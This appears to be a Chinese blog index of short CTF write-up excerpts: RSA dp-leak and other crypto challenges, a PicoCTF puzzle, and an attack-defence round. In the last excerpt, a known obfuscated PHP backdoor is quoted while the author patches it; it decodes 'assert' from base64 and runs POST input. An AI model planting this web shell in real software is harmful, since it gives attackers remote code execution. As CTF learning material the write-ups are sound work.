原理: 0.基本数学公式 a = kb + p a mod b =p 1.RSA的基本公式 c \equiv m^emodn m\equiv c^dmodn \phi(n)=(p-1)\times(q-1) d\times e \equiv1mod\phi (n) 2.dp是什么 dp\equiv d mod(p-1) 3.推导过程 4.求p 遍历X(65537种可能),求出(p-1),得到p且能被n整除;接下来就是常规RSA的解法 for i in range(1,65538): if (dp*e-1)%i ==…

2020年10月23日 2条评论 126点热度 2人点赞 阅读全文

解决Python3 ModuleNotFoundError: No module named 'Cryptodome' pip install pycryptodomex

2020年10月20日 0条评论 24点热度 0人点赞 阅读全文

可爱小小桃的CSDN math [一血] 题目: from Crypto.Util.number import * from hashlib import md5 flag = "XXX" assert len(flag) == 14 pad = bytes_to_long(md5(flag).digest()) hack = 0 for char in flag: hack+= pad hack*= ord(char) print hack #hack = 6436448535706043484886570840…

2020年10月18日 0条评论 41点热度 0人点赞 阅读全文

The Numbers Description:The numbers... what do they mean? Hints:The flag is in the format PICOCTF{} a-1 b-2 c-3 d-4 e-5 f-6 g-7 h-8 i-9 j-10 k-11 l-12 m-13 n-14 o-15 p-16 q-17 r-18 s-19 t-20 u-21 v-22 w-23 x-24 y-25 z-26 大括号前数字对应的字母是PICOCTF GET FLAG! PICOCTF{T…

2020年10月17日 0条评论 33点热度 0人点赞 阅读全文

可爱桃子的CSDN 题目名称:BrokenSystems 题目内容:Successfully modified the encryption module of the encryption system, and then it's up to you. from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from secret import flag import os rsa = RSA.generate(2048) pu…

2020年10月15日 0条评论 40点热度 2人点赞 阅读全文

BEGIN ssh -p 2201 ctf@118.89.227.105 备份文件以后,首先D盾扫一波 使用defence上waf 开始修洞 .config_common.php 这是一个已知后门 <?php error_reporting(0);set_time_limit(0);a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");a(@${"_P"."O"."S"."T"}[520]); ?> base64_decode:YXNzZXJ0 解密后:ass…

2020年10月10日 0条评论 35点热度 0人点赞 阅读全文